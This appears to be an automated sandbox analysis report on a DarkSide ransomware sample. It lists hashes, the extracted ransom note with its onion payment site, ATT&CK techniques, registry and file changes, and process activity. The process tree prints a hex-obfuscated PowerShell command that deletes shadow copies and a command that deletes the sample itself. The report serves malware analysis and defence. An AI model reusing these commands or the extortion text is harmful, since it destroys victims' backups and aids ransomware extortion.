darkside | adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e

General

Target

adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Size

59KB
MD5

222792d2e75782516d653d5cccfcf33b
SHA1

2430f63c64d3e26b13ec4752d8976ff9c9dbbd1b
SHA256

adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e
SHA512

41233501b78c2060f8a5bfe513b45e1c4dcc510b922ec160b149b69254e90ffd1f54b5c4ed37cd3ad2129dd1227871fe41a7ff3cd47a0fb5354ca7ef812b4123

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.27a6f0b5.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/61XCW6PKCUTDV5AZD8WK1JWU84BJBWSI25DGLKZ6O6STDBITLAFAH3X1MSRQGRBS When you open our website, put the following data in the input form: Key: sRF28VknkyCwkl78n8tU2w5CUN5gQSiFQXJQ4YjJ3zT5Z3BaGHqUemIYakak5QdIr9cwwtZGxjgkXaQoG2kGUNB2IcTvDVP3ID53yoBwY8UiMIzJ33767QNMQ2CgGrvQhHvU7QN1LAmLgETIE545H0OFZaLiE85s64A9UowKvPxEFFNlEtl8yCCClJIpX1Z2w6QpVH2toANFNk5BOerGTSat8xN18v42024yvHshbcVaymihEKEnl95lGcJprePMNuMFMsrYvOnEmTQkkwjyjF50B66lqGpYTnGb6rNJ9ILGQ7vTVi1QPsaKe2mLxAuB8zawZUdVNyqk8YghrH9yyEIGixafE4bqxfxNlh8oLA1GjCmD3Hu7b1vY6wggbch6XJ770QZzomCOmJTxWljABf2U996YQ8Ea5WI1mjbUwgiU9YoYqkM4zhG3WdGDV1XC7kqMz1qiDrhHw6qzZxNPNcpcP4aoMf4bmpdRTLolDzehxvWygMgO0vkarbndW1Q2xCfJLpRvgwEm3EgLmb7aQK59oBO7LP4UCqc1HHPuq4nsr9fmpuTqGbj !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/61XCW6PKCUTDV5AZD8WK1JWU84BJBWSI25DGLKZ6O6STDBITLAFAH3X1MSRQGRBS

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 16 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\ExpandImport.crw.27a6f0b5	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
File opened for modification	C:\Users\Admin\Pictures\MergeReset.crw.27a6f0b5	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
File renamed	C:\Users\Admin\Pictures\SetMove.png => C:\Users\Admin\Pictures\SetMove.png.27a6f0b5	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
File opened for modification	C:\Users\Admin\Pictures\SetMove.png.27a6f0b5	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
File renamed	C:\Users\Admin\Pictures\ExpandImport.crw => C:\Users\Admin\Pictures\ExpandImport.crw.27a6f0b5	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
File opened for modification	C:\Users\Admin\Pictures\ExportUnblock.png.27a6f0b5	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
File renamed	C:\Users\Admin\Pictures\ProtectEnable.png => C:\Users\Admin\Pictures\ProtectEnable.png.27a6f0b5	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
File renamed	C:\Users\Admin\Pictures\ExportUnblock.png => C:\Users\Admin\Pictures\ExportUnblock.png.27a6f0b5	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
File renamed	C:\Users\Admin\Pictures\DenyAssert.crw => C:\Users\Admin\Pictures\DenyAssert.crw.27a6f0b5	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
File renamed	C:\Users\Admin\Pictures\MergeReset.crw => C:\Users\Admin\Pictures\MergeReset.crw.27a6f0b5	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
File renamed	C:\Users\Admin\Pictures\SkipBackup.tif => C:\Users\Admin\Pictures\SkipBackup.tif.27a6f0b5	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
File opened for modification	C:\Users\Admin\Pictures\CopyCheckpoint.raw.27a6f0b5	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
File opened for modification	C:\Users\Admin\Pictures\DenyAssert.crw.27a6f0b5	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
File opened for modification	C:\Users\Admin\Pictures\ProtectEnable.png.27a6f0b5	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
File opened for modification	C:\Users\Admin\Pictures\SkipBackup.tif.27a6f0b5	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
File renamed	C:\Users\Admin\Pictures\CopyCheckpoint.raw => C:\Users\Admin\Pictures\CopyCheckpoint.raw.27a6f0b5	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

832 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
832	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\27a6f0b5.BMP"	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\27a6f0b5.BMP"	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe

pid process

1964 adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\WallpaperStyle = "10"	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe

Modifies registry class 5 IoCs

Processes:

adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.27a6f0b5	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.27a6f0b5\ = "27a6f0b5"	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\27a6f0b5\DefaultIcon	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\27a6f0b5	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\27a6f0b5\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\27a6f0b5.ico"	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exeadcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe

pid	process
276	powershell.exe
1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: SeSecurityPrivilege	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: SeTakeOwnershipPrivilege	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: SeLoadDriverPrivilege	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: SeSystemProfilePrivilege	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: SeSystemtimePrivilege	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: SeProfSingleProcessPrivilege	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: SeIncBasePriorityPrivilege	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: SeCreatePagefilePrivilege	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: SeBackupPrivilege	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: SeRestorePrivilege	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: SeShutdownPrivilege	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: SeDebugPrivilege	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: SeSystemEnvironmentPrivilege	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: SeRemoteShutdownPrivilege	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: SeUndockPrivilege	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: SeManageVolumePrivilege	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: 33	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: 34	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: 35	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
Token: SeDebugPrivilege	276	powershell.exe
Token: SeBackupPrivilege	1760	vssvc.exe
Token: SeRestorePrivilege	1760	vssvc.exe
Token: SeAuditPrivilege	1760	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe

description	pid	process	target process
PID 1964 wrote to memory of 276	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe	powershell.exe
PID 1964 wrote to memory of 276	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe	powershell.exe
PID 1964 wrote to memory of 276	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe	powershell.exe
PID 1964 wrote to memory of 276	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe	powershell.exe
PID 1964 wrote to memory of 832	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe	cmd.exe
PID 1964 wrote to memory of 832	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe	cmd.exe
PID 1964 wrote to memory of 832	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe	cmd.exe
PID 1964 wrote to memory of 832	1964	adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe
"C:\Users\Admin\AppData\Local\Temp\adcb912694b1abcdf9c467b5d47abe7590b590777b88045d10992d34a27aa06e.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1964

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:276

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\ADCB91~1.EXE >> NUL
2⤵
- Deletes itself
PID:832

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1760

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
1326ecf03580cc68f9ad9edf5b6eec0e

SHA1
718f7344d7f6415735cbab52fe3dd16d5ca7ef3a

SHA256
643ed5d3ef0eb8014be2b80b5f59221ad2bcb3d4925c1cf0fd359f3d9e1a7fab

SHA512
fcc28b87dd079bcd2a575170d0164bc351bf25d1209527b678eced96a66bb9b72c0750ffebb5ebe6d4714745b4d446dc95353afa0e72d9408202dd012156134a

Download Submit
memory/276-56-0x000007FEFC151000-0x000007FEFC153000-memory.dmp

Filesize
8KB

Download
memory/276-57-0x000007FEF28A0000-0x000007FEF33FD000-memory.dmp

Filesize
11.4MB

Download
memory/276-59-0x0000000002840000-0x0000000002842000-memory.dmp

Filesize
8KB

Download
memory/276-60-0x0000000002842000-0x0000000002844000-memory.dmp

Filesize
8KB

Download
memory/276-61-0x0000000002844000-0x0000000002847000-memory.dmp

Filesize
12KB

Download
memory/276-58-0x000000001B7A0000-0x000000001BA9F000-memory.dmp

Filesize
3.0MB

Download
memory/276-62-0x000000000284B000-0x000000000286A000-memory.dmp

Filesize
124KB

Download
memory/1964-55-0x0000000076511000-0x0000000076513000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads